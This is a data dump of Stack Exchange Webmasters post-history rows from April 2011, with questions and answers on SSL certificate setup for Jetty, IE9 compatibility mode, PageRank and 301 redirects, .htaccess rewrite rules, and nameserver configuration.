  <row Id="27268" PostHistoryTypeId="2" PostId="11976" RevisionGUID="33d7cfc0-adb9-487b-877c-acab8a0ce276" CreationDate="2011-04-11T00:16:29.403" UserId="6734" Text="I've generated an SSL certificate with keytool:&#xD;&#xA;&#xD;&#xA;    keytool -keystore keystore -alias mySite -genkey -keyalg RSA -keysize 2048&#xD;&#xA;&#xD;&#xA;I got this configured and working fine, but obviously it wasn't signed by a trusted CA, so I generated a CSR:&#xD;&#xA;&#xD;&#xA;    keytool -certreq -alias mySite -keystore keystore -file mySite.csr&#xD;&#xA;&#xD;&#xA;GoDaddy gave me two certificates back, which I imported into my keystore:&#xD;&#xA;&#xD;&#xA;    keytool -keystore keystore -import -alias mySite.com -file mySite.com.crt&#xD;&#xA;    keytool -keystore keystore -import -alias gd_bundle -file gd_bundle.crt&#xD;&#xA;&#xD;&#xA;I thought this would be sufficient, but I am still getting an untrusted certificate warning when I hit my app through the browser. Am I missing a step? My app is running on Jetty, and the only configuration I've provided is the keystore and the key-password.&#xD;&#xA;&#xD;&#xA;I am getting the following exception:&#xD;&#xA;&#xD;&#xA;    javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate" />
  <row Id="27269" PostHistoryTypeId="1" PostId="11976" RevisionGUID="33d7cfc0-adb9-487b-877c-acab8a0ce276" CreationDate="2011-04-11T00:16:29.403" UserId="6734" Text="SSL Configuration Problem" />
  <row Id="27270" PostHistoryTypeId="3" PostId="11976" RevisionGUID="33d7cfc0-adb9-487b-877c-acab8a0ce276" CreationDate="2011-04-11T00:16:29.403" UserId="6734" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;&lt;godaddy&gt;&lt;java&gt;" />
  <row Id="27279" PostHistoryTypeId="2" PostId="11982" RevisionGUID="ce0acdfa-1512-48a1-9dcb-0c024957b6f1" CreationDate="2011-04-11T01:23:37.853" UserId="4306" Text="10 self-hosted URL shorteners reviewed with  their features:&#xD;&#xA;&#xD;&#xA;* http://www.esev.com/blog/post/2009-06-host-your-own-url-shortener-10-php-apps-reviewed/" />
  <row Id="27280" PostHistoryTypeId="2" PostId="11983" RevisionGUID="c90eb663-7025-4c02-a7cf-c948324c44ff" CreationDate="2011-04-11T01:36:11.893" UserId="6734" Text="After messing around with this for a couple hours, I was able to find a solution.  I ended up using `openssl` instead of `keytool`:&#xD;&#xA;&#xD;&#xA;    openssl genrsa -des3 -out mysite.key 2048&#xD;&#xA;    openssl req -new -key mysite.key -out mysite.csr&#xD;&#xA;&#xD;&#xA;Submit the CSR, and once you get issued a cert:&#xD;&#xA;&#xD;&#xA;    openssl pkcs12 -export -chain -CAfile gd_bundle.crt -in mysite.com.crt -inkey mysite.key -out mysite.pkcs12&#xD;&#xA;    java -classpath jetty-util-6.1.26.jar:jetty-6.1.26.jar org.mortbay.jetty.security.PKCS12Import mysite.pkcs12 keystore&#xD;&#xA;&#xD;&#xA;Hope others find this useful!" />
  <row Id="27284" PostHistoryTypeId="2" PostId="11987" RevisionGUID="ff70d13a-24b4-4e53-962a-2c068ae94d0f" CreationDate="2011-04-11T02:33:32.763" UserId="23" Text="IE9 renders my web site as IE7. How to make not to make assumptions?" />
  <row Id="27285" PostHistoryTypeId="1" PostId="11987" RevisionGUID="ff70d13a-24b4-4e53-962a-2c068ae94d0f" CreationDate="2011-04-11T02:33:32.763" UserId="23" Text="IE9 renders my web site as IE7. How to make it render as IE9?" />
  <row Id="27286" PostHistoryTypeId="3" PostId="11987" RevisionGUID="ff70d13a-24b4-4e53-962a-2c068ae94d0f" CreationDate="2011-04-11T02:33:32.763" UserId="23" Text="&lt;internet-explorer-9&gt;" />
  <row Id="27288" PostHistoryTypeId="25" PostId="11987" RevisionGUID="ffd48f69-1f46-437d-b498-6cba7256d1ec" CreationDate="2011-04-11T03:09:06.570" Comment="http://twitter.com/#!/StackWebmasters/status/57278976078516224" />
  <row Id="27289" PostHistoryTypeId="2" PostId="11989" RevisionGUID="ad728caf-b204-458d-85c4-c4ca183c14ae" CreationDate="2011-04-11T03:32:04.603" UserId="161" Text="Probably you are using and incorrect/malformed doctype tag. This is the usual trigger for this behavior." />
  <row Id="27290" PostHistoryTypeId="2" PostId="11990" RevisionGUID="ed46b537-72c0-4286-a09f-209d4d9f0975" CreationDate="2011-04-11T03:33:41.780" UserId="1253" Text="This meta tag should do it:&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;X-UA-Compatible&quot; value=&quot;IE=9&quot;&gt;&#xD;&#xA;&#xD;&#xA;You can also send it out as an HTTP header" />
  <row Id="27295" PostHistoryTypeId="2" PostId="11992" RevisionGUID="819e872d-a375-4461-8a7e-2717b14337f3" CreationDate="2011-04-11T04:42:35.507" UserId="6738" Text="Pretend that USA Today has a section of their site where the sell electronics, which they locate at http://electronics.usatoday.com.  The subdomain is powered by an online electronics store called NewCo via a white label.  Many of the pages on this subdomain have relatively high PageRank.  But few, if any, external sites link to the subdomain--the PageRank of the subdomain is largely due to internal links from the usatoday.com root domain.&#xD;&#xA;&#xD;&#xA;USA Today's deal with NewCo expires and they decide to partner with my startup instead.  But, unlike NewCo, we won't be providing a white-label solution; rather, USA Today will be redirecting all of the electronics-related links on their root domain to my site instead of the electronics.usatoday.com subdomain.  They also agree to direct all of the pages on electronics.usatoday.com to me.&#xD;&#xA;&#xD;&#xA;Ideally USA Today would add 301's to all of their pages on electronics.usatoday.com that direct to the corresponding pages on my site, but they don't have the engineering wherewithal or resources to do this.  Therefore, what is the best way to pass the PageRank from the electronics.usatoday.com pages to my site?  Would it work to have USA Today change the CNAME for electronics.usatoday.com to my site and then create pages on my site that mimic the USA today URL structure?  For example, let's say there was a page located at electronics.usatoday.com/ipods.  Could we give electronics.usatoday.com a CNAME form my site and then create a page on my site located at mysite.com/ipods that 301'ed to the ipod page on my site?  Would that preserve the PageRank?" />
  <row Id="27296" PostHistoryTypeId="1" PostId="11992" RevisionGUID="819e872d-a375-4461-8a7e-2717b14337f3" CreationDate="2011-04-11T04:42:35.507" UserId="6738" Text="How to Preserve PageRank for Disappearing Pages?" />
  <row Id="27297" PostHistoryTypeId="3" PostId="11992" RevisionGUID="819e872d-a375-4461-8a7e-2717b14337f3" CreationDate="2011-04-11T04:42:35.507" UserId="6738" Text="&lt;seo&gt;&lt;redirects&gt;&lt;pagerank&gt;&lt;subdomain&gt;&lt;301-redirect&gt;" />
  <row Id="27299" PostHistoryTypeId="25" PostId="11992" RevisionGUID="af6cd9ba-3673-4107-bd79-1fa68e1ea5cd" CreationDate="2011-04-11T06:09:09.857" Comment="http://twitter.com/#!/StackWebmasters/status/57324287744413696" />
  <row Id="27300" PostHistoryTypeId="2" PostId="11994" RevisionGUID="4b78bf56-e672-4f1b-8108-e552b6d3019b" CreationDate="2011-04-11T06:26:58.167" UserId="4461" Text="What you described is probably the most likely way to proceed (in terms of reducing tech overhead).&#xD;&#xA;&#xD;&#xA;The problem comes from the fact that it's been stated that every 301 redirect doesn't transfer 100% of PageRank - [that some decay occurs][1]. This is further exacerbated when you chain redirects together, as you're describing.&#xD;&#xA;&#xD;&#xA;However, this is an issue that can only be mitigated, not prevented altogether, and as long as the new links are correctly linked to from the parent site - direct, not via 301s - then you'll soon have new PageRank flowing to offset that lost by the migration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.stonetemple.com/articles/interview-matt-cutts-012510.shtml" />
  <row Id="27303" PostHistoryTypeId="2" PostId="11997" RevisionGUID="7530a030-0885-4ca9-ab93-e4e68cf0fbe1" CreationDate="2011-04-11T06:57:12.763" UserId="4306" Text="I think the *easiest* way to achieve this would be to increase the database size from your hosting advisor.  However, you can do it using Google Analytics as your data store.&#xD;&#xA;&#xD;&#xA;## Using the Google Analytics API to retrieve page views ##&#xD;&#xA;&#xD;&#xA;1. add the Google Analytics tracking script to your website&#xD;&#xA;2. Use the Data Export API to authenticate with Google, which will allow you to query for your analytics. Get started here: http://code.google.com/apis/analytics/docs/gdata/gdataDeveloperGuide.html&#xD;&#xA;2. using the [Data Feed Query Explorer][1], construct a query that returns the number of page views to a given page. You can filter using the ga:pagePath dimension. AN example query is given below.&#xD;&#xA;1. Put it altogether to create an embeddable script that takes the current page as a parameter and passes it to the Data Feed Query&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Data Feed Query Explorer Example ###&#xD;&#xA;&#xD;&#xA;This example returns the Page Path and Page Views for the home page - &quot;/&quot;. You will have to supply your own Google Analytics Table ID (e.g. ga:123456)&#xD;&#xA;&#xD;&#xA;    https://www.google.com/analytics/feeds/data?&#xD;&#xA;        ids=[your-GA-profile]&amp;&#xD;&#xA;        dimensions=ga%3ApagePath&amp;&#xD;&#xA;        metrics=ga%3Apageviews&amp;&#xD;&#xA;        filters=ga%3ApagePath%3D%3D%2F&amp;&#xD;&#xA;        start-date=2011-04-08&amp;&#xD;&#xA;        end-date=2011-04-08&amp;        &#xD;&#xA;        max-results=10&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gdata/gdataExplorer.html" />
  <row Id="27308" PostHistoryTypeId="4" PostId="11934" RevisionGUID="d1ab0708-ada2-4c8c-99e4-debe1777d7a7" CreationDate="2011-04-11T08:13:44.887" UserId="2044" Comment="edited tags; edited title" Text="how do i create name servers" />
  <row Id="27309" PostHistoryTypeId="6" PostId="11934" RevisionGUID="d1ab0708-ada2-4c8c-99e4-debe1777d7a7" CreationDate="2011-04-11T08:13:44.887" UserId="2044" Comment="edited tags; edited title" Text="&lt;web-hosting&gt;&lt;registrar&gt;&lt;name-servers&gt;" />
  <row Id="27323" PostHistoryTypeId="25" PostId="11976" RevisionGUID="da77bcea-f524-4ffc-8abd-bcee2c4fa9ff" CreationDate="2011-04-11T09:09:09.557" Comment="http://twitter.com/#!/StackWebmasters/status/57369585430704128" />
  <row Id="27324" PostHistoryTypeId="5" PostId="11934" RevisionGUID="47ab32a3-f4d4-4c93-835a-c916490d73af" CreationDate="2011-04-11T09:24:53.077" UserId="2044" Comment="added 169 characters in body" Text="i have recently signuped knownhost vps package. my account has been setup in their part. They want me to create ns1.outsourcingnepal.com and ns2.outsourcingnepal.com in my registar and point to their given ip address.&#xD;&#xA;&#xD;&#xA;i checked my registar site... i can change the dns info and other too but where do i create those two add and add the ips?&#xD;&#xA;&#xD;&#xA;My domain name: outsourcingnepal.com&#xD;&#xA;My registar: Public domain registry.[ known via betterwhois.com]&#xD;&#xA;   I registered it through my nearby company Simrik Solutions" />
  <row Id="27325" PostHistoryTypeId="2" PostId="12002" RevisionGUID="c1bdbc32-a229-41cc-b2f3-ac8f64c96010" CreationDate="2011-04-11T09:25:06.093" UserId="1064" Text="The NetBeans IDE includes [FTP][1] and [SFTP support][2] (use SFTP to avoid sending your credentials in plaintext).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.sun.com/netbeansphp/entry/ftp_support_added&#xD;&#xA;  [2]: http://blogs.sun.com/netbeansphp/entry/sftp_support_added" />
  <row Id="27326" PostHistoryTypeId="5" PostId="11956" RevisionGUID="56d69f6f-8949-489b-bcb5-d0c1c8b73205" CreationDate="2011-04-11T09:43:16.050" UserId="1497" Comment="edited body; edited tags" Text="I'm thinking of placing AdSense on my site, but I'd hate to show AdSense to my paying customers. &#xD;&#xA;&#xD;&#xA;Does AdSense policy allow this - showing AdSense only for some users - or do they require that they are shown to all users?" />
  <row Id="27327" PostHistoryTypeId="6" PostId="11956" RevisionGUID="56d69f6f-8949-489b-bcb5-d0c1c8b73205" CreationDate="2011-04-11T09:43:16.050" UserId="1497" Comment="edited body; edited tags" Text="&lt;google-adsense&gt;" />
  <row Id="27328" PostHistoryTypeId="2" PostId="12003" RevisionGUID="6d4a13b1-5139-44a0-ba6c-5e01dc78e7aa" CreationDate="2011-04-11T10:03:03.013" UserId="3718" Text="I would use Magento. I've used it, and it's absolutely brilliant. Very nice piece of software!" />
  <row Id="27329" PostHistoryTypeId="2" PostId="12004" RevisionGUID="5c9b04d3-177f-4e3c-a47c-e889de543a5b" CreationDate="2011-04-11T10:34:38.530" UserId="5739" Text="You just need to change the nameservers on your domain record to ns1.outsourcingnepal.com &amp; ns2.outsourcingnepal.com then the VPS will take care of everything else.&#xD;&#xA;&#xD;&#xA;Currently they are set to:&#xD;&#xA;&#xD;&#xA;    ns1.simriksolutions.info&#xD;&#xA;    ns2.simriksolutions.info&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27330" PostHistoryTypeId="2" PostId="12005" RevisionGUID="53d17d6e-3fc8-4bf3-99ef-c2e2674c07ea" CreationDate="2011-04-11T10:35:46.063" UserDisplayName="keiki" Text="There are a few domains pointing towards the same server, and of course I need them all redirect to only one of them.&#xD;&#xA;&#xD;&#xA;Redirects work, but only for certain URLs.&#xD;&#xA;&#xD;&#xA;What works: http://www.domain.com, http://domain.com, domain.com/index.html, domain.com/index.php, , domain.com/nonExistentDirectory, and if I click in the menu the following URLs are also redirected correctly: domain.com/foo/bar, domain.com/foo/bar.html or .php or other extension.&#xD;&#xA;&#xD;&#xA;What doesn't work: domain.com/existentDirectory, domain.com/foo/bar (if I type the URL in the address bar).&#xD;&#xA;&#xD;&#xA;If anyone will have the time and skill and will to tell me where's the mistake, I'll be deeply grateful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's my .htaccess file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    AddHandler x-httpd-php .html .htm&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_gzip.c&gt;&#xD;&#xA;      mod_gzip_on Yes&#xD;&#xA;      mod_gzip_dechunk Yes&#xD;&#xA;      mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$&#xD;&#xA;      mod_gzip_item_include handler ^cgi-script$&#xD;&#xA;      mod_gzip_item_include mime ^text/.*&#xD;&#xA;      mod_gzip_item_include mime ^application/x-javascript.*&#xD;&#xA;      mod_gzip_item_exclude mime ^image/.*&#xD;&#xA;      mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_expires.c&gt;&#xD;&#xA;      ExpiresActive On&#xD;&#xA;      ExpiresDefault &quot;access plus 1 seconds&quot;&#xD;&#xA;      ExpiresByType text/html &quot;access plus 1 seconds&quot;&#xD;&#xA;      ExpiresByType image/gif &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/jpeg &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/png &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType text/css &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType text/javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;      ExpiresByType application/x-javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(ico|pdf|flv|jpg|jpeg|png|gif|swf)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(css)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(js)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, private&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(xml|txt)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, public, must-revalidate&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(html|htm|php)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=1, private, must-revalidate&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      Header unset ETag&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    FileETag None&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      Header unset Last-Modified&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo1\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo1\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo2\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo2\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo3\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo3\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^foo8\.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www\.foo8\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thinking that the above version was overkill, I've also tried to redirect all the requests for domains different than the main on to be redirected to it like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://domain.com [L,R=301]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is it also wrong? Because it doesn't work either!&#xD;&#xA;" />
  <row Id="27331" PostHistoryTypeId="1" PostId="12005" RevisionGUID="53d17d6e-3fc8-4bf3-99ef-c2e2674c07ea" CreationDate="2011-04-11T10:35:46.063" UserDisplayName="keiki" Text="RewriteRule not working for certain URLs" />
  <row Id="27332" PostHistoryTypeId="3" PostId="12005" RevisionGUID="53d17d6e-3fc8-4bf3-99ef-c2e2674c07ea" CreationDate="2011-04-11T10:35:46.063" UserDisplayName="keiki" Text="&lt;domains&gt;&lt;htaccess&gt;" />
  <row Id="27333" PostHistoryTypeId="17" PostId="12005" RevisionGUID="f5d11544-71be-4520-829d-ddef77639f11" CreationDate="2011-04-11T10:44:44.710" UserId="-1" Comment="from http://serverfault.com/questions/258208/rewriterule-not-working-for-certain-urls" Text="" />
  <row Id="27334" PostHistoryTypeId="2" PostId="12006" RevisionGUID="2c0f4f6b-f853-4aec-a5a1-e7386dc4756b" CreationDate="2011-04-11T11:05:56.830" UserId="3790" Text="If have a problem with the componentheading and the contentpagetitle.&#xD;&#xA;&#xD;&#xA;I got a sectionblog for my articles.&#xD;&#xA;The title of the page is a componentheading.&#xD;&#xA;The title of the articles (intro) is a contentpagetitle.&#xD;&#xA;&#xD;&#xA;If I click on the title of a article, I can see the entire article.&#xD;&#xA;The title of the page is now the title of the article (contentpagetitle), and that is good.&#xD;&#xA;&#xD;&#xA;The problem is, this title now needs the same layout as the componentheading.&#xD;&#xA;But if I do this, the titles of the articles also get this layout in the sectionblog&#xD;&#xA;&#xD;&#xA;How can I make sure I got 2 different styles, or the contentpagetitle changes in a componentheading while looking at the full article?&#xD;&#xA;&#xD;&#xA;I you don't uderstand what I'm saying just go to http://csm.infowebpreview.be/nl/realisaties, and click on the first title 'Realisatie'. The full article opens and the title 'Realisatie' should be underlined now.&#xD;&#xA;&#xD;&#xA;Or this is also correct: if an article is the only article on a page the title should get another layout&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="27335" PostHistoryTypeId="1" PostId="12006" RevisionGUID="2c0f4f6b-f853-4aec-a5a1-e7386dc4756b" CreationDate="2011-04-11T11:05:56.830" UserId="3790" Text="Componentheading and contentpagetitle joomla" />
  <row Id="27336" PostHistoryTypeId="3" PostId="12006" RevisionGUID="2c0f4f6b-f853-4aec-a5a1-e7386dc4756b" CreationDate="2011-04-11T11:05:56.830" UserId="3790" Text="&lt;joomla&gt;&lt;stylesheet&gt;" />
  <row Id="27337" PostHistoryTypeId="2" PostId="12007" RevisionGUID="be978edf-9385-4d62-908b-c1cb44face7a" CreationDate="2011-04-11T11:13:43.437" UserId="3790" Text="I use Joomla for simple sites with a minimum of custom things, easy layout and Drupal for more custom/complex sites.&#xD;&#xA;But you can also use Drupal for simple sites and Joomla for difficult sites, just depends of what you prefer.&#xD;&#xA;Just learn the basic of both and make your own decision.&#xD;&#xA;I also used wordpress once for a blog on a site, I love their custom theaming system, it is really easy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27338" PostHistoryTypeId="4" PostId="11444" RevisionGUID="982b2ac7-29f1-46b1-9646-4ba00f364cfd" CreationDate="2011-04-11T11:38:09.010" UserId="4306" Comment="updated subject for clarity" Text="Cross-domain tracking with Google Analytics" />
  <row Id="27339" PostHistoryTypeId="24" PostId="11444" RevisionGUID="982b2ac7-29f1-46b1-9646-4ba00f364cfd" CreationDate="2011-04-11T11:38:09.010" Comment="Proposed by 4306 approved by 1253 edit id of 103" />
  <row Id="27340" PostHistoryTypeId="2" PostId="12008" RevisionGUID="27e67b6b-7435-4d93-954b-73256716301d" CreationDate="2011-04-11T12:05:00.787" UserId="6744" Text="Why not just use serverAlias for this?" />
  <row Id="27341" PostHistoryTypeId="25" PostId="12006" RevisionGUID="ac1a0e04-6e59-4609-a71c-93155636026f" CreationDate="2011-04-11T12:09:09.550" Comment="http://twitter.com/#!/StackWebmasters/status/57414884387852288" />
  <row Id="27342" PostHistoryTypeId="2" PostId="12009" RevisionGUID="89b1cde3-52c6-4557-bd71-22c5623fbe64" CreationDate="2011-04-11T12:17:34.157" UserId="6634" Text="How many pages in total are you talking about?&#xD;&#xA;&#xD;&#xA;What is the nature of their inability to add 301s? If it's just a matter of writing down exactly what should go in the htaccess, you can do the legwork and show it to them, right? I've often observed that some clients feel like they can't be bothered with being involved at any level once they start paying for a service. But that's ridiculous. If they can be made to see that doing 301s is necessary, they'll find a way. They are &quot;USA Today,&quot; after all, not some dinky local paper.&#xD;&#xA;&#xD;&#xA;But to the issue at hand. You could perhaps settle this by using canonical tags. And a few years ago, very short (eg, zero seconds) meta refreshes were passing pagerank… though I haven't done that in a while since the other options are better.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27343" PostHistoryTypeId="2" PostId="12010" RevisionGUID="1e71698b-f1d0-4384-8e6e-e74498f6de84" CreationDate="2011-04-11T12:19:06.470" UserId="6745" Text="I'm trying to determine global statistics (similar to [StatCounter][1]'s) for a combination of Browser + OS.  For example, 35% (or whatever) of users are on XP **and** IE8.  StatCounter only displays one or the other (ex. 47.32% on XP, 30.20% on IE8).&#xD;&#xA;&#xD;&#xA;Is anyone aware of a site that offers this information, or a way to gleen it from StatCounter or others?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gs.statcounter.com/" />
  <row Id="27344" PostHistoryTypeId="1" PostId="12010" RevisionGUID="1e71698b-f1d0-4384-8e6e-e74498f6de84" CreationDate="2011-04-11T12:19:06.470" UserId="6745" Text="Global Statistics for Browser + Operating System" />
  <row Id="27345" PostHistoryTypeId="3" PostId="12010" RevisionGUID="1e71698b-f1d0-4384-8e6e-e74498f6de84" CreationDate="2011-04-11T12:19:06.470" UserId="6745" Text="&lt;statistics&gt;" />
  <row Id="27347" PostHistoryTypeId="2" PostId="12012" RevisionGUID="c87ac497-f693-4201-87f6-213bb2b4a52c" CreationDate="2011-04-11T12:38:06.960" UserId="6679" Text="I think you need to move the domain name rewrites to before the `# BEGIN Wordpress` section. This should do the trick as it means all the domain name checks are done before it even cares about the pathnames.&#xD;&#xA;&#xD;&#xA;I can only assume the index.php RewriteRule is firing, and then the [L] flag means its the end of the rewrite stuff, thus your domain name stuff does not get triggerred." />
  <row Id="27348" PostHistoryTypeId="2" PostId="12013" RevisionGUID="0af09eca-5b0f-4199-a9e6-85bff9e4bd46" CreationDate="2011-04-11T12:43:54.013" UserId="3790" Text="If you know joomla or drupal try virtuemart or ubercart.&#xD;&#xA;Magento is very good but also very hard to customize.&#xD;&#xA;Zen-cart is also a good option if above is too difficult." />
  <row Id="27349" PostHistoryTypeId="2" PostId="12014" RevisionGUID="47dbcec3-94d3-4b62-be9b-c695b0807f48" CreationDate="2011-04-11T12:38:52.487" UserDisplayName="linkyndy" Text="I am trying to figure out where do all sites that use the 'Helvetica Neue' font get it from. There are certainly too many sites using it for it not to be free. But frankly, there are only two fontsites which have it in their catalog, and it is for sale (and not as a webfont).&#xD;&#xA;&#xD;&#xA;Moreover, can you give some examples of **webfonts** which are similar to this 'Helvetica Neue' and are (mostly) free?&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="27350" PostHistoryTypeId="1" PostId="12014" RevisionGUID="47dbcec3-94d3-4b62-be9b-c695b0807f48" CreationDate="2011-04-11T12:38:52.487" UserDisplayName="linkyndy" Text="'Helvetica Neue' webfont" />
  <row Id="27351" PostHistoryTypeId="3" PostId="12014" RevisionGUID="47dbcec3-94d3-4b62-be9b-c695b0807f48" CreationDate="2011-04-11T12:38:52.487" UserDisplayName="linkyndy" Text="&lt;fonts&gt;" />
  <row Id="27352" PostHistoryTypeId="17" PostId="12014" RevisionGUID="01fbabd7-6a77-46ca-af9b-4bbc27247d50" CreationDate="2011-04-11T12:45:50.633" UserId="-1" Comment="from http://stackoverflow.com/questions/5621376/helvetica-neue-webfont" Text="" />
  <row Id="27354" PostHistoryTypeId="5" PostId="12005" RevisionGUID="1b7643a8-4610-45be-8150-6cdc70232fe5" CreationDate="2011-04-11T13:01:37.367" UserId="6746" Comment="added details" Text="There are a few domains pointing towards the same server, and of course I need them all redirect to only one of them.&#xD;&#xA;&#xD;&#xA;Redirects work, but only for certain URLs.&#xD;&#xA;&#xD;&#xA;What works: http://www.domain.com, http://domain.com, domain.com/index.html, domain.com/index.php, , domain.com/nonExistentDirectory, and if I click in the menu the following URLs are also redirected correctly: domain.com/foo/bar, domain.com/foo/bar.html or .php or other extension.&#xD;&#xA;&#xD;&#xA;What doesn't work: domain.com/existentDirectory, domain.com/foo/bar (if I type the URL in the address bar).&#xD;&#xA;&#xD;&#xA;If anyone will have the time and skill and will to tell me where's the mistake, I'll be deeply grateful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's my .htaccess file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    AddHandler x-httpd-php .html .htm&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_gzip.c&gt;&#xD;&#xA;      mod_gzip_on Yes&#xD;&#xA;      mod_gzip_dechunk Yes&#xD;&#xA;      mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$&#xD;&#xA;      mod_gzip_item_include handler ^cgi-script$&#xD;&#xA;      mod_gzip_item_include mime ^text/.*&#xD;&#xA;      mod_gzip_item_include mime ^application/x-javascript.*&#xD;&#xA;      mod_gzip_item_exclude mime ^image/.*&#xD;&#xA;      mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_expires.c&gt;&#xD;&#xA;      ExpiresActive On&#xD;&#xA;      ExpiresDefault &quot;access plus 1 seconds&quot;&#xD;&#xA;      ExpiresByType text/html &quot;access plus 1 seconds&quot;&#xD;&#xA;      ExpiresByType image/gif &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/jpeg &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/png &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType text/css &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType text/javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;      ExpiresByType application/x-javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(ico|pdf|flv|jpg|jpeg|png|gif|swf)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(css)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, 